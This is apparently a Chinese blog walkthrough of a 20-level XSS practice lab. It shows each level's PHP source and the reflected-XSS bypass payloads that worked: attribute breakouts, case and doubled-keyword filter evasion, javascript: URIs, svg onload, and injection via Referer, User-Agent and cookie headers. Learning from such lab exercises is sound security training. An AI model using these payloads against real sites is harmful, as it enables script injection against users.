xss靶场详解
一个XSS靶场练习记录
https://blog.csdn.net/qq_41500251/article/details/101116697
001.level 1 反射型
1、观察源码
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level2.php?keyword=test";
}
</script>
修改?name=<script>alert()</script>即可
002.level 2
1、测试输入
输入123
输出
全部输出
输入特殊字符
'<>?\"/6666
查看页面源码
app://local/E%3A%5Cobsidian%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E9%9F%B3%E8%A7%86%E9%A2%91%E6%96%87%E4%BB%B6%5CPasted%20image%2020201219194808.png?1609079862970
实体化了< > "
2、尝试构造payload
原:<input name=keyword value="123">
payload:" onclick=alert("xss")>
成功弹窗
疑问:为什么我使用了过滤的字符,依旧可以执行呢?
查看后台源码
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword value="'.$str.'">
<input type=submit name=submit value="搜索"/>
可以发现,没有找到和".htmlspecialchars($str)."相关的结果,使用了过滤,而<input name=keyword value="'.$str.'">并没有过滤,即,该题是伪过滤,
总结找到鼠标单击的区域的方:
$\color{red}{右键打开firebug查看元素}$
003.level 3
1、测试输入
输入123
查看页面源码
<input name=keyword value='123'>
输入特殊字符
'<>?\:"/6666
查看页面源码
<input name=keyword value=''<>?\:"/6666'>
对< > "过滤
2、尝试构造payload
'onclick=alert(0) '
再点击搜索框即可
004.level 4
1、测试输入
输入123
查看页面源码
<input name=keyword value="123">
易知需要”闭合
输入特殊字符
'<>?\:"/6666
查看页面源码
app://local/E%3A%5Cobsidian%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E9%9F%B3%E8%A7%86%E9%A2%91%E6%96%87%E4%BB%B6%5CPasted%20image%2020201219213502.png?1609079862997
过滤了< >
2、构造payload
" onclick=alert(0)
通过
3、查看后端源码
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
005.level 5
1、测试输入
输入123
查看页面源码
易知需要 ” 闭合
输入特殊字符
'<>?\:"/6666
没有进行过滤
2、构造payload
<script>alert(1)</script>
没有弹窗,查看页面源码
<input name=keyword value="" <scr_ipt>alert(1)</script> ">
发现script中间插入 _
使用其他方法绕过
" onclick=alert(0)
查看页面源码
<input name=keyword value="" o_nclick=alert(0) ">
发现on中间插入 _
使用其他方法绕过
> <a href='javascript:alert(0)'>111</a>
006.level 6
1、测试输入
输入123456
查看页面源码
易知需要 ” 闭合
输入特殊字符
'<>?\:"/6666
没有进行过滤
页面源码
<h2 align=center>没有找到和123456相关的结果.</h2><center>
<form action=level6.php method=GET>
<input name=keyword value="123456">
2、构造payload
" > <script>alert(1)</script>
页面显示
<form action=level6.php method=GET>
<input name=keyword value="" > <scr_ipt>alert(1)</script> ">
可知关键字script被过滤了
尝试绕过
" > <ScRipt>alert(1)</sCript>
成功
007.level 7
1、测试输入
输入123456
查看页面源码
易知需要 ” 闭合
输入特殊字符
'<>?\:"/6666
没有进行过滤
输入关键字
script on src data href
页面源码
<form action=level7.php method=GET>
<input name=keyword value=" ">
全部替换成空
尝试大小写绕过
sCripT On sRc dAta Href
同样全部替换成空
2、构造payload
" > <scrscriptipt>alert(1)</sscriptcript>
成功
008.level 8
1、测试输入
输入123456
查看页面源码
</center><center><BR><a href="123456">友情链接</a></center><center>
易知需要 ” 闭合
输入特殊字符
'<>?\:"/6666
查看页面源码
</center><center><BR><a href="'<>?\:"/6666">友情链接</a></center><center>
过滤了 "
输入关键字 并大小写
script sCripT on On src sRc data dAta href Href
全部过滤了
</center><center><BR><a href="scr_ipt o_n sscr_ipt scr_ipt o_n o_n sr_c sr_c da_ta da_ta hr_ef hr_efrc da_ta hr_ef">友情链接</a></center><center>
尝试双写绕过
scrscriptipt oonn ssrcrc ddataata hhrefref
全部过滤了
</center><center><BR><a href="scrscr_iptipt oo_nn ssr_crc dda_taata hhr_efref">友情链接</a></center><center><img src=level8.jpg></center>
尝试使用HTML实体编码绕过
javascript:alert(1)
成功弹窗
另外一种解法
对一下进行HTML编码
>友情链接</a></center><center><img src=level8.jpg></center> <script>alert(0)</script>
>友情链接</a></center><center><img src=level8.jpg></center> <script>alert(0)</script>
失败,不知为什么。。
009.level 9
1、测试输入
输入123456
查看页面源码
</center><center><BR><a href="您的链接不合法?有没有!">友情链接</a></center><center><img src=level9.png></center>
进行过滤了
输入特殊字符
'<>?\:"/6666
查看页面源码
</center><center><BR><a href="您的链接不合法?有没有!">友情链接</a></center><center><img src=level9.png></center>
进行过滤了
不太对劲,查看后台源码
if(false===strpos($str7,'http://'))
{
echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
}
else
{
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
会检查是否存在http://
2、构造payload
javascript:alert("http:// ")
发现对script进行过滤
javascript:alert("http:// ")
成功
010.level 10
1、测试输入
输入123456
查看页面源码
<h1 align=center>欢迎来到level10</h1>
<h2 align=center>没有找到和123456!相关的结果.</h2><center>
<form id=search>
<input name="t_link" value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value="" type="hidden">
</form>
查看后台源码
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
发现后台获取两个参数,且t_sort可以利用,并且过滤了< >字符
2、构造payload
?t_sort=0" onclick=alert(1) type="text"
011.level 11
1、猜测同上一题
查看后台源码
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
可知,后台从http请求头获得了referer参数
2、构造payload
" onmouseover=alert(11) type="text"
012.level 12
1、查看源码
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
从HTTP_USER_AGENT获得参数值
2、构造payload
" onmouseover=alert(0) type=""
013.level 13
1、查看源码
<?php
setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
从cookie中获得user参数的值
2、构造payload
" onmouseover=alert(0) type=""
014.level 14
查看教程
这关是利用修改exif信息,在exif信息中写入xss代码,然后上传上去,别人点击这个图片就会中招。
暂时跳过
015.level 15
1、查看源码
<?php
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>
ng-include指令用于包含外部的 HTML 文件。即'.htmlspecialchars($str).'
2、构造payload
?src='./level1.php'
失败,暂时跳过
016.level 16
1、刷新,抓包,
<center>test</center><center><img src=level16.png></center>
没办法,只好看后台源码
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script"," ",$str);
$str3=str_replace(" "," ",$str2);
$str4=str_replace("/"," ",$str3);
$str5=str_replace(" "," ",$str4);
echo "<center>".$str5."</center>";
?>
先小写,过滤script,空格,/
2、构造payload
?keyword=<svg%0aonload=alert(0) ></svg>
?keyword=<svg%0onmouseover=alert(0) ></svg>
017.level 17
1、观察url,测试输入
?arg01=123&arg02=456
页面源码
<embed src=xsf01.swf?123=456 width=100% heigth=100%>
输入特殊字符
?arg01='<>?\:"/6666&arg02='<>?\:"/6666
页面源码
<embed src=xsf01.swf?'<>?\:"/6666='<>?\:"/6666 width=100% heigth=100%>
易知过滤了< > "
输入关键字
?arg01=script sCripT on On src sRc data dAta href Href&arg02=456
页面源码
<embed src=xsf01.swf?script sCripT on On src sRc data dAta href Href=456 width=100% heigth=100%>
2、构造payload
?arg01=123&arg02=456 onclick=alert(0)
成功
018.level 18
解题过程同上
019.level 19
1、观察url,测试输入
?arg01=123&arg02=456
页面源码
<embed src="xsf03.swf?123=456" width=100% heigth=100%>
2、查资料,这个是flash xss,涉及到反编译,
解题连接
https://www.jianshu.com/p/4e3a517bc4ea
后台源码
<?php
ini_set("display_errors", 0);
echo '<embed src="xsf03.swf?'.htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"]).'" width=100% heigth=100%>';
?>
3、详细过程
使用硕思闪客精灵
将xsf03.swf导出为HTML5文件
大致内容如下
<!DOCTYPE HTML>
<html>
<head>
<style>*{margin:0;padding:0;}</style>
<meta charset="utf-8" />
<title></title>
</head>
<body style="overflow:hidden;">
<script>var data ={"Bg":"#FFFFFF","FV":"8","Fc":"1","Fh":"100","Fr":30.0,"Fw":"300","Ft":{"xi":0,"xm":300,"yi":0,"ym":100}....}
</script>
<script src="sprite.js"></script>
</body>
</html>
并没有找到有用的信息
跳过
020.level 20
跳过
xss靶场详解的更多相关文章
- Flash XSS 漏洞详解 根治的好办法
本文的目的是深层次的分析Flash的ExternalInterface的XSS漏洞,并提出比较有效的解决方案. 首先,我们看看什么情况下,会出现XSS. 第一种情况: 把flas ...
- 网络攻击-XSS攻击详解
特别提示:本人博客部分有参考网络其他博客,但均是本人亲手编写过并验证通过.如发现博客有错误,请及时提出以免误导其他人,谢谢!欢迎转载,但记得标明文章出处:http://www.cnblogs.com/ ...
- StringEscapeUtils防止xss攻击详解
StringUtils和StringEscapeUtils这两个实用类. 1.转义防止xss攻击 1.转义可以分为下面的几种情况 第一用户输入特殊字符的时候,在提及的时候不做任何处理保持到数据库,当用 ...
- PHP开发中常见的安全问题详解和解决方法(如Sql注入、CSRF、Xss、CC等
页面导航: 首页 → 网络编程 → PHP编程 → php技巧 → 正文内容 PHP安全 PHP开发中常见的安全问题详解和解决方法(如Sql注入.CSRF.Xss.CC等) 作者: 字体:[增加 减小 ...
- 第六天实验详解——dedecms通过xss漏洞写马
第六天实验详解 **XSS跨站攻击的分类** XSS漏洞类型主要分为持久型和非持久型两种: 1. 非持久型XSS漏洞一般存在于URL参数中,需要访问黑客构造好的特定URL才能触发漏洞. 2. 持久型X ...
- web框架详解之 tornado 四 模板引擎、session、验证码、xss
一.模板引擎 基本使用 继承,extends 页面整体布局用继承 导入,include 如果是小组件等重复的那么就用导入 下面是目录 首先在controllers里面创建一个文件,文件里面是页面类 # ...
- XSS与CSRF详解
XSS与CSRF详解 随着Web2.0.社交网络.微博等等一系列新型的互联网产品的诞生,基于Web环境的互联网应用越来越广泛,企业信息化的过程中各种应用都架设在Web平台上,Web业务的迅速发展也引起 ...
- 程序员必备:详解XSS和CSRF
做开发的小伙伴想必都不陌生XSS 和 CSRF,但也有一些刚接触的朋友还不是很清楚,今天就给大家详解下XSS和CSRF! 一.XSS xss,即 Cross Site Script,中翻译是跨站脚本攻 ...
- XSS(跨站脚本攻击)详解
跨站脚本攻击XSS(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS.恶意攻击者往Web ...
随机推荐
- 手把手教你实现自定义Spring Boot的 Starter
引言 上篇文章<天天用SpringBoot,它的自动装配原理却说不出来>我们有说springBoot的自动装配怎么实现的(建议最好先看下篇文章,因为前后有关系),这篇文章的话我们就自己来实 ...
- Java基础之String中equals,声明方式,等大总结
无论你是一个编程新手还是老手,提到String你肯定感觉特别熟悉,因为String类我们在学习java基础的时候就已经学过,但是String类型有我们想象的那么简单吗?其实不然,String类型的知识 ...
- 任意文件上传——tcp
package chaoba; import java.io.BufferedReader; import java.io.File; import java.io.FileInputStream; ...
- kafka如何保证消息得顺序性
1. 问题 比如说我们建了一个 topic,有三个 partition.生产者在写的时候,其实可以指定一个 key,比如说我们指定了某个订单 id 作为 key,那么这个订单相关的数据,一定会被分发到 ...
- Head First 设计模式 —— 03. 装饰器 (Decorator) 模式
思考题 有如下类设计: 如果牛奶的价钱上扬,怎么办?新增一种焦糖调料风味时,怎么办? 造成这种维护上的困难,违反了我们之前提过的哪种设计原则? P82 取出并封装变化的部分,让其他部分不收影响 多用组 ...
- #3使用html+css+js制作网页 番外篇 使用python flask 框架 (I)
#3使用html+css+js制作网页 番外篇 使用python flask 框架(I 第一部) 0. 本系列教程 1. 准备 a.python b. flask c. flask 环境安装 d. f ...
- 【SpringBoot1.x】SpringBoot1.x 检索
SpringBoot1.x 检索 文章源码 概念 Elasticsearch 是一个分布式的开源搜索和分析引擎,适用于所有类型的数据,包括文本.数字.地理空间.结构化和非结构化数据.Elasticse ...
- python3.6安装教程
Python代码要运行,必须要有Python解释器.Python3.x的版本是没有什么区别的,这里以3.6版本来演示安装的过程.这里只介绍Windows环境下的安装. 下载安装程序 Python官方的 ...
- 【MySQL】使用WHERE子句 - 过滤数据
第6章 过滤数据 文章目录 第6章 过滤数据 1.使用WHERE子句 2.WHERE子句操作符 2.1.检查单个值 2.2.不匹配检查 2.3.范围值检查 2.4.空值检查 3.小结 简单记录 - M ...
- DHCP最佳实践(三)
这是Windows DHCP最佳实践和技巧的最终指南. 如果您有任何最佳做法或技巧,请在下面的评论中发布它们. 在本指南(三)中,我将分享以下DHCP最佳实践和技巧. 仅在需要时才使用IP冲突检测 运 ...